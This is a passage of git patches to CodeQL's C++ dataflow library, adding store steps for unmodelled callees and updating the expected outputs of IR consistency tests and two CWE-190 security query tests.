318ddf9c48d..0d50f848689 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -283,8 +283,6 @@ class PostUpdateFieldNode extends PartialDefinition { override Expr getDefinedExpr() { result = node.getFieldInstruction().getObjectAddress().getUnconvertedResultExpression() } - - Field getField() { result = node.getField() } } /** @@ -450,10 +448,13 @@ abstract class PartialDefinition extends TPartialDefinition { PartialDefinition() { this = MkPartialDefinition(node) } + /** Gets the node before the state update. */ abstract Node getPreUpdateNode(); + /** Gets the expression that is partially defined by this node. */ abstract Expr getDefinedExpr(); + /** Gets a string representation of this partial definition. */ string toString() { result = node.toString() + " [partial definition]" } } @@ -480,6 +481,7 @@ class PartialDefinitionNode extends PostUpdateNode, TPartialDefinitionNode { override Node getPreUpdateNode() { result = pd.getPreUpdateNode() } + /** Gets the `PartialDefinition` associated with this node. */ PartialDefinition getPartialDefinition() { result = pd } override string toString() { result = getPreUpdateNode().toString() + " [post update]" } From fd8034cd8ccfd13d34d10d9b38b2312603d78361 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Fri, 11 Dec 2020 16:08:42 +0100 Subject: [PATCH 0359/1241] C++: Add store step out of read side effects when we don't have a model for the callee. This brings back the lost result on boost. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 09f8ae3e97f..72d6db0f8dd 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -2,6 +2,7 @@ private import cpp private import DataFlowUtil private import semmle.code.cpp.ir.IR private import DataFlowDispatch +private import semmle.code.cpp.models.interfaces.DataFlow /** * A data flow node that occurs as the argument of a call and is passed as-is @@ -271,16 +272,31 @@ private predicate callableWithoutDefinitionStoreStep( ) { exists( WriteSideEffectInstruction write, ChiInstruction chi, PostUpdateFieldNode post, - Function callable + Function callable, CallInstruction call | chi.getPartial() = write and not chi.isResultConflated() and post = node2.getPartialDefinition() and - node1.asInstruction() = write and post.getPreUpdateNode() = getFieldNodeForFieldInstruction(write.getDestinationAddress()) and f.getADirectField() = post.getPreUpdateNode().getField() and - callable = write.getPrimaryInstruction().(CallInstruction).getStaticCallTarget() and + call = write.getPrimaryInstruction() and + callable = call.getStaticCallTarget() and not callable.hasDefinition() + | + exists(OutParameterDeref out | out.getIndex() = write.getIndex() | + callable.(DataFlowFunction).hasDataFlow(_, out) and + node1.asInstruction() = write + ) + or + // Ideally we shouldn't need to do a store step from a read side effect, but if we don't have a + // model for the callee there might not be flow to the write side effect (since the callee has no + // definition). This case ensures that we propagate dataflow when a field is passed into a + // function that has a write side effect, even though the write side effect doesn't have incoming + // flow. + not callable instanceof DataFlowFunction and + exists(ReadSideEffectInstruction read | call = read.getPrimaryInstruction() | + node1.asInstruction() = read.getSideEffectOperand().getAnyDef() + ) ) } From 77aa9615c0e1893657c8ade1eb44062a1bcf2caf Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 12 Dec 2020 17:51:00 +0100 Subject: [PATCH 0360/1241] C++: Accept test changes in paths. --- .../dataflow-ir-consistency.expected | 194 ++++++++---------- .../TaintedAllocationSize.expected | 24 ++- .../ArithmeticUncontrolled.expected | 30 +-- 3 files changed, 117 insertions(+), 131 deletions(-) diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-ir-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-ir-consistency.expected index 6aeadb2f174..4f709d960cc 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-ir-consistency.expected +++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-ir-consistency.expected @@ -1464,117 +1464,93 @@ unreachableNodeCCtx localCallNodes postIsNotPre postHasUniquePre -| assignexpr.cpp:9:2:9:12 | Store | PostUpdateNode should have one pre-update node but has 0. | -| bad_asts.cpp:15:10:15:12 | Store | PostUpdateNode should have one pre-update node but has 0. | -| cpp11.cpp:65:19:65:45 | Store | PostUpdateNode should have one pre-update node but has 0. | -| ir.cpp:531:14:531:14 | Store | PostUpdateNode should have one pre-update node but has 0. | +| allocators.cpp:16:14:16:36 | Foo output argument | PostUpdateNode should have one pre-update node but has 0. | +| condition_decls.cpp:16:19:16:20 | BoxedInt output argument | PostUpdateNode should have one pre-update node but has 0. | +| condition_decls.cpp:26:23:26:24 | BoxedInt output argument | PostUpdateNode should have one pre-update node but has 0. | +| condition_decls.cpp:41:22:41:23 | BoxedInt output argument | PostUpdateNode should have one pre-update node but has 0. | +| condition_decls.cpp:48:22:48:24 | BoxedInt output argument | PostUpdateNode should have one pre-update node but has 0. | +| condition_decls.cpp:48:34:48:36 | BoxedInt output argument | PostUpdateNode should have one pre-update node but has 0. | +| condition_decls.cpp:48:52:48:53 | BoxedInt output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:30:9:30:13 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:30:18:30:22 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:33:9:33:13 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:33:18:33:22 | C1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:39:9:39:13 | C2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:39:18:39:22 | C2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:42:9:42:13 | C2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| conditional_destructors.cpp:42:18:42:22 | C2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| constructorinitializer.cpp:8:6:8:18 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:77:19:77:21 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:82:11:82:14 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:82:17:82:55 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:82:45:82:48 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:82:51:82:51 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:88:25:88:30 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp11.cpp:88:33:88:38 | Val output argument | PostUpdateNode should have one pre-update node but has 0. | +| cpp17.cpp:15:5:15:45 | HasTwoArgCtor output argument | PostUpdateNode should have one pre-update node but has 0. | +| destructors.cpp:50:9:50:13 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| destructors.cpp:51:36:51:38 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| file://:0:0:0:0 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:616:12:616:13 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:617:15:617:22 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:619:16:619:30 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:662:9:662:19 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:663:5:663:5 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:736:5:736:19 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:745:8:745:8 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:748:10:748:10 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:757:12:757:12 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:757:12:757:12 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:766:13:766:13 | Middle output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:766:13:766:13 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:775:15:775:15 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:775:15:775:15 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:784:15:784:15 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:784:15:784:15 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:793:15:793:15 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:793:15:793:15 | MiddleVB1 output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:793:15:793:15 | MiddleVB2 output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:793:15:793:15 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:800:8:800:8 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:801:10:801:10 | Middle output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:802:11:802:11 | Derived output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:809:7:809:13 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:810:7:810:26 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:823:7:823:13 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:824:7:824:26 | Base output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:846:8:846:8 | PolymorphicBase output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:850:19:850:19 | PolymorphicBase output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:851:22:851:22 | PolymorphicDerived output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:868:3:868:12 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:944:3:944:14 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ir.cpp:945:3:945:27 | String output argument | PostUpdateNode should have one pre-update node but has 0. | +| ms_assume.cpp:28:18:28:23 | fgets output argument | PostUpdateNode should have one pre-update node but has 0. | +| ms_try_mix.cpp:11:12:11:15 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| ms_try_mix.cpp:28:12:28:15 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| ms_try_mix.cpp:48:10:48:13 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| newexpr.cpp:8:2:8:20 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| ops.cpp:26:31:26:53 | C_with_constr_destr output argument | PostUpdateNode should have one pre-update node but has 0. | +| parameterinitializer.cpp:25:5:25:8 | c output argument | PostUpdateNode should have one pre-update node but has 0. | +| static_init_templates.cpp:31:10:31:11 | MyClass output argument | PostUpdateNode should have one pre-update node but has 0. | +| static_init_templates.cpp:236:7:236:7 | MyConstructorClass output argument | PostUpdateNode should have one pre-update node but has 0. | +| static_init_templates.cpp:240:7:240:7 | MyConstructorClass output argument | PostUpdateNode should have one pre-update node but has 0. | +| static_init_templates.cpp:249:21:249:23 | MyConstructorClass output argument | PostUpdateNode should have one pre-update node but has 0. | +| static_init_templates.cpp:250:17:250:19 | MyDerivedClass output argument | PostUpdateNode should have one pre-update node but has 0. | +| static_init_templates.cpp:251:20:251:23 | MyContainingClass output argument | PostUpdateNode should have one pre-update node but has 0. | +| stmt_expr.cpp:13:18:13:19 | C output argument | PostUpdateNode should have one pre-update node but has 0. | +| try_catch.cpp:7:8:7:8 | exception output argument | PostUpdateNode should have one pre-update node but has 0. | +| try_catch.cpp:7:8:7:8 | exception output argument | PostUpdateNode should have one pre-update node but has 0. | +| try_catch.cpp:13:5:13:16 | exn1 output argument | PostUpdateNode should have one pre-update node but has 0. | uniquePostUpdate postIsInSameCallable reverseRead argHasPostUpdate postWithInFlow -| aggregateinitializer.c:3:14:3:18 | Chi | PostUpdateNode should not be the target of local flow. | -| aggregateinitializer.c:3:21:3:25 | Chi | PostUpdateNode should not be the target of local flow. | -| allocators.cpp:3:27:3:27 | Chi | PostUpdateNode should not be the target of local flow. | -| allocators.cpp:3:35:3:35 | Chi | PostUpdateNode should not be the target of local flow. | -| allocators.cpp:4:11:4:23 | Chi | PostUpdateNode should not be the target of local flow. | -| allocators.cpp:4:17:4:23 | Chi | PostUpdateNode should not be the target of local flow. | -| assignexpr.cpp:9:2:9:12 | Store | PostUpdateNode should not be the target of local flow. | -| bad_asts.cpp:15:10:15:12 | Store | PostUpdateNode should not be the target of local flow. | -| builtin.c:14:26:14:26 | Chi | PostUpdateNode should not be the target of local flow. | -| builtin.c:14:29:14:29 | Chi | PostUpdateNode should not be the target of local flow. | -| builtin.c:14:32:14:32 | Chi | PostUpdateNode should not be the target of local flow. | -| builtin.c:14:35:14:35 | Chi | PostUpdateNode should not be the target of local flow. | -| condition_decls.cpp:3:5:3:22 | Chi | PostUpdateNode should not be the target of local flow. | -| condition_decls.cpp:3:21:3:21 | Chi | PostUpdateNode should not be the target of local flow. | -| conditional_destructors.cpp:6:13:6:19 | Chi | PostUpdateNode should not be the target of local flow. | -| conditional_destructors.cpp:18:13:18:19 | Chi | PostUpdateNode should not be the target of local flow. | -| cpp11.cpp:65:19:65:45 | Store | PostUpdateNode should not be the target of local flow. | -| cpp11.cpp:82:17:82:55 | Chi | PostUpdateNode should not be the target of local flow. | -| cpp11.cpp:82:17:82:55 | Chi | PostUpdateNode should not be the target of local flow. | -| cpp11.cpp:82:45:82:48 | Chi | PostUpdateNode should not be the target of local flow. | -| defdestructordeleteexpr.cpp:4:9:4:15 | Chi | PostUpdateNode should not be the target of local flow. | -| deleteexpr.cpp:7:9:7:15 | Chi | PostUpdateNode should not be the target of local flow. | -| file://:0:0:0:0 | Chi | PostUpdateNode should not be the target of local flow. | -| file://:0:0:0:0 | Chi | PostUpdateNode should not be the target of local flow. | -| file://:0:0:0:0 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:177:5:177:12 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:178:5:178:12 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:183:5:183:12 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:184:5:184:12 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:342:5:342:10 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:428:5:428:12 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:429:5:429:15 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:504:19:504:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:504:22:504:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:505:16:505:21 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:505:19:505:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:506:16:506:18 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:506:16:506:18 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:513:14:513:16 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:513:14:513:16 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:514:14:514:26 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:514:19:514:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:514:22:514:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:515:19:515:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:515:22:515:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:515:29:515:29 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:515:32:515:32 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:516:17:516:21 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:516:19:516:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:516:24:516:28 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:516:26:516:26 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:521:19:521:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:521:22:521:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:521:25:521:25 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:522:16:522:21 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:522:19:522:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:531:14:531:14 | Store | PostUpdateNode should not be the target of local flow. | -| ir.cpp:577:16:577:21 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:577:19:577:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:578:19:578:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:578:22:578:22 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:579:16:579:21 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:579:19:579:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:643:9:643:21 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:644:9:644:23 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:645:9:645:15 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:659:9:659:14 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:660:13:660:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:661:9:661:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:662:9:662:19 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:663:5:663:5 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:745:8:745:8 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:745:8:745:8 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:748:10:748:10 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:754:8:754:8 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:757:12:757:12 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:763:8:763:8 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:766:13:766:13 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:775:15:775:15 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:784:15:784:15 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:793:15:793:15 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:943:3:943:11 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:947:3:947:25 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:962:17:962:47 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:962:17:962:47 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:962:17:962:47 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:962:26:962:30 | Chi | PostUpdateNode should not be the target of local flow. | -| ir.cpp:962:41:962:45 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:130:5:130:11 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:131:5:131:13 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:154:32:154:32 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:154:35:154:35 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:154:40:154:40 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:154:43:154:43 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:157:14:157:18 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:158:14:158:18 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:160:31:160:33 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:160:31:160:33 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:220:3:223:3 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:221:10:221:10 | Chi | PostUpdateNode should not be the target of local flow. | -| misc.c:222:10:222:10 | Chi | PostUpdateNode should not be the target of local flow. | -| range_analysis.c:102:5:102:15 | Chi | PostUpdateNode should not be the target of local flow. | -| static_init_templates.cpp:3:2:3:8 | Chi | PostUpdateNode should not be the target of local flow. | -| static_init_templates.cpp:21:2:21:12 | Chi | PostUpdateNode should not be the target of local flow. | -| static_init_templates.cpp:240:7:240:7 | Chi | PostUpdateNode should not be the target of local flow. | +| cpp11.cpp:77:19:77:21 | Val output argument | PostUpdateNode should not be the target of local flow. | +| cpp11.cpp:82:11:82:14 | Val output argument | PostUpdateNode should not be the target of local flow. | +| cpp11.cpp:82:45:82:48 | Val output argument | PostUpdateNode should not be the target of local flow. | +| cpp11.cpp:82:51:82:51 | Val output argument | PostUpdateNode should not be the target of local flow. | +| ir.cpp:809:7:809:13 | Base output argument | PostUpdateNode should not be the target of local flow. | +| ir.cpp:810:7:810:26 | Base output argument | PostUpdateNode should not be the target of local flow. | +| ir.cpp:823:7:823:13 | Base output argument | PostUpdateNode should not be the target of local flow. | +| ir.cpp:824:7:824:26 | Base output argument | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.expected index 9876b9695ad..0299afff063 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/TaintedAllocationSize.expected @@ -59,18 +59,21 @@ edges | test.cpp:227:24:227:37 | (const char *)... | test.cpp:229:9:229:18 | local_size | | test.cpp:241:2:241:32 | Chi [array content] | test.cpp:279:17:279:20 | get_size output argument [array content] | | test.cpp:241:2:241:32 | Chi [array content] | test.cpp:295:18:295:21 | get_size output argument [array content] | -| test.cpp:241:18:241:23 | call to getenv | test.cpp:241:2:241:32 | Chi [array content] | -| test.cpp:241:18:241:31 | (const char *)... | test.cpp:241:2:241:32 | Chi [array content] | +| test.cpp:241:2:241:32 | ChiTotal [post update] [array content] | test.cpp:241:2:241:32 | Chi [array content] | +| test.cpp:241:2:241:32 | ChiTotal [post update] [array content] | test.cpp:279:17:279:20 | get_size output argument [array content] | +| test.cpp:241:2:241:32 | ChiTotal [post update] [array content] | test.cpp:295:18:295:21 | get_size output argument [array content] | +| test.cpp:241:18:241:23 | call to getenv | test.cpp:241:2:241:32 | ChiTotal [post update] [array content] | +| test.cpp:241:18:241:31 | (const char *)... | test.cpp:241:2:241:32 | ChiTotal [post update] [array content] | | test.cpp:249:20:249:25 | call to getenv | test.cpp:253:11:253:29 | ... * ... | | test.cpp:249:20:249:25 | call to getenv | test.cpp:253:11:253:29 | ... * ... | | test.cpp:249:20:249:33 | (const char *)... | test.cpp:253:11:253:29 | ... * ... | | test.cpp:249:20:249:33 | (const char *)... | test.cpp:253:11:253:29 | ... * ... | -| test.cpp:279:17:279:20 | Chi | test.cpp:281:11:281:28 | ... * ... | -| test.cpp:279:17:279:20 | Chi | test.cpp:281:11:281:28 | ... * ... | -| test.cpp:279:17:279:20 | get_size output argument [array content] | test.cpp:279:17:279:20 | Chi | -| test.cpp:295:18:295:21 | Chi | test.cpp:298:10:298:27 | ... * ... | -| test.cpp:295:18:295:21 | Chi | test.cpp:298:10:298:27 | ... * ... | -| test.cpp:295:18:295:21 | get_size output argument [array content] | test.cpp:295:18:295:21 | Chi | +| test.cpp:279:17:279:20 | get_size output argument | test.cpp:281:11:281:28 | ... * ... | +| test.cpp:279:17:279:20 | get_size output argument | test.cpp:281:11:281:28 | ... * ... | +| test.cpp:279:17:279:20 | get_size output argument [array content] | test.cpp:279:17:279:20 | get_size output argument | +| test.cpp:295:18:295:21 | get_size output argument | test.cpp:298:10:298:27 | ... * ... | +| test.cpp:295:18:295:21 | get_size output argument | test.cpp:298:10:298:27 | ... * ... | +| test.cpp:295:18:295:21 | get_size output argument [array content] | test.cpp:295:18:295:21 | get_size output argument | | test.cpp:301:19:301:24 | call to getenv | test.cpp:305:11:305:28 | ... * ... | | test.cpp:301:19:301:24 | call to getenv | test.cpp:305:11:305:28 | ... * ... | | test.cpp:301:19:301:32 | (const char *)... | test.cpp:305:11:305:28 | ... * ... | @@ -144,6 +147,7 @@ nodes | test.cpp:237:2:237:8 | Argument 0 | semmle.label | Argument 0 | | test.cpp:241:2:241:32 | Chi [array content] | semmle.label | Chi [array content] | | test.cpp:241:2:241:32 | ChiPartial | semmle.label | ChiPartial | +| test.cpp:241:2:241:32 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | | test.cpp:241:18:241:23 | call to getenv | semmle.label | call to getenv | | test.cpp:241:18:241:31 | (const char *)... | semmle.label | (const char *)... | | test.cpp:249:20:249:25 | call to getenv | semmle.label | call to getenv | @@ -151,12 +155,12 @@ nodes | test.cpp:253:11:253:29 | ... * ... | semmle.label | ... * ... | | test.cpp:253:11:253:29 | ... * ... | semmle.label | ... * ... | | test.cpp:253:11:253:29 | ... * ... | semmle.label | ... * ... | -| test.cpp:279:17:279:20 | Chi | semmle.label | Chi | +| test.cpp:279:17:279:20 | get_size output argument | semmle.label | get_size output argument | | test.cpp:279:17:279:20 | get_size output argument [array content] | semmle.label | get_size output argument [array content] | | test.cpp:281:11:281:28 | ... * ... | semmle.label | ... * ... | | test.cpp:281:11:281:28 | ... * ... | semmle.label | ... * ... | | test.cpp:281:11:281:28 | ... * ... | semmle.label | ... * ... | -| test.cpp:295:18:295:21 | Chi | semmle.label | Chi | +| test.cpp:295:18:295:21 | get_size output argument | semmle.label | get_size output argument | | test.cpp:295:18:295:21 | get_size output argument [array content] | semmle.label | get_size output argument [array content] | | test.cpp:298:10:298:27 | ... * ... | semmle.label | ... * ... | | test.cpp:298:10:298:27 | ... * ... | semmle.label | ... * ... | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/uncontrolled/ArithmeticUncontrolled.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/uncontrolled/ArithmeticUncontrolled.expected index ca8dd38fc3b..c684f1da6ce 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/uncontrolled/ArithmeticUncontrolled.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/uncontrolled/ArithmeticUncontrolled.expected @@ -43,19 +43,23 @@ edges | test.cpp:8:9:8:12 | call to rand | test.cpp:8:9:8:12 | Store | | test.cpp:8:9:8:12 | call to rand | test.cpp:8:9:8:12 | Store | | test.cpp:13:2:13:15 | Chi [array content] | test.cpp:30:13:30:14 | get_rand2 output argument [array content] | -| test.cpp:13:10:13:13 | call to rand | test.cpp:13:2:13:15 | Chi [array content] | -| test.cpp:13:10:13:13 | call to rand | test.cpp:13:2:13:15 | Chi [array content] | +| test.cpp:13:2:13:15 | ChiTotal [post update] [array content] | test.cpp:13:2:13:15 | Chi [array content] | +| test.cpp:13:2:13:15 | ChiTotal [post update] [array content] | test.cpp:30:13:30:14 | get_rand2 output argument [array content] | +| test.cpp:13:10:13:13 | call to rand | test.cpp:13:2:13:15 | ChiTotal [post update] [array content] | +| test.cpp:13:10:13:13 | call to rand | test.cpp:13:2:13:15 | ChiTotal [post update] [array content] | | test.cpp:18:2:18:14 | Chi [array content] | test.cpp:36:13:36:13 | get_rand3 output argument [array content] | -| test.cpp:18:9:18:12 | call to rand | test.cpp:18:2:18:14 | Chi [array content] | -| test.cpp:18:9:18:12 | call to rand | test.cpp:18:2:18:14 | Chi [array content] | +| test.cpp:18:2:18:14 | ChiTotal [post update] [array content] | test.cpp:18:2:18:14 | Chi [array content] | +| test.cpp:18:2:18:14 | ChiTotal [post update] [array content] | test.cpp:36:13:36:13 | get_rand3 output argument [array content] | +| test.cpp:18:9:18:12 | call to rand | test.cpp:18:2:18:14 | ChiTotal [post update] [array content] | +| test.cpp:18:9:18:12 | call to rand | test.cpp:18:2:18:14 | ChiTotal [post update] [array content] | | test.cpp:24:11:24:18 | call to get_rand | test.cpp:25:7:25:7 | r | | test.cpp:24:11:24:18 | call to get_rand | test.cpp:25:7:25:7 | r | -| test.cpp:30:13:30:14 | Chi | test.cpp:31:7:31:7 | r | -| test.cpp:30:13:30:14 | Chi | test.cpp:31:7:31:7 | r | -| test.cpp:30:13:30:14 | get_rand2 output argument [array content] | test.cpp:30:13:30:14 | Chi | -| test.cpp:36:13:36:13 | Chi | test.cpp:37:7:37:7 | r | -| test.cpp:36:13:36:13 | Chi | test.cpp:37:7:37:7 | r | -| test.cpp:36:13:36:13 | get_rand3 output argument [array content] | test.cpp:36:13:36:13 | Chi | +| test.cpp:30:13:30:14 | get_rand2 output argument | test.cpp:31:7:31:7 | r | +| test.cpp:30:13:30:14 | get_rand2 output argument | test.cpp:31:7:31:7 | r | +| test.cpp:30:13:30:14 | get_rand2 output argument [array content] | test.cpp:30:13:30:14 | get_rand2 output argument | +| test.cpp:36:13:36:13 | get_rand3 output argument | test.cpp:37:7:37:7 | r | +| test.cpp:36:13:36:13 | get_rand3 output argument | test.cpp:37:7:37:7 | r | +| test.cpp:36:13:36:13 | get_rand3 output argument [array content] | test.cpp:36:13:36:13 | get_rand3 output argument | nodes | test.c:18:13:18:16 | call to rand | semmle.label | call to rand | | test.c:18:13:18:16 | call to rand | semmle.label | call to rand | @@ -110,22 